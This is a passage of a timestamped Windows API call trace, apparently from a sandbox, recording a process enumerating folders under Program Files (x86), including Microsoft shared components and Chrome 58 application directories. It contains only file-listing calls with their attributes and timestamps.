	[0054.868] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69acfbd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60a8740, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60a8740, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\contracts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.871] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0\\hostsideadapters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.878] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.878] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto\\10.0\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.884] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.888] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.888] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.889] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.0\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\1.7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.897] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\1.7\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.898] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.901] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa21b3607, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21b3607, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.911] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google" (normalized: "c:\\program files (x86)\\google"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.911] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x1251b9e0 | out: lpFindFileData=0x1251b9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xec36cd00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec36cd00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome" (normalized: "c:\\program files (x86)\\google\\chrome"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x1251b97c | out: lpFindFileData=0x1251b97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application" (normalized: "c:\\program files (x86)\\google\\chrome\\application"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.912] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.915] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.916] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.940] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.941] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.946] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.947] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x1251b7ec | out: lpFindFileData=0x1251b7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.948] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x1251b788 | out: lpFindFileData=0x1251b788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.959] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.959] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b870 | out: lpFindFileData=0x1251b870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1
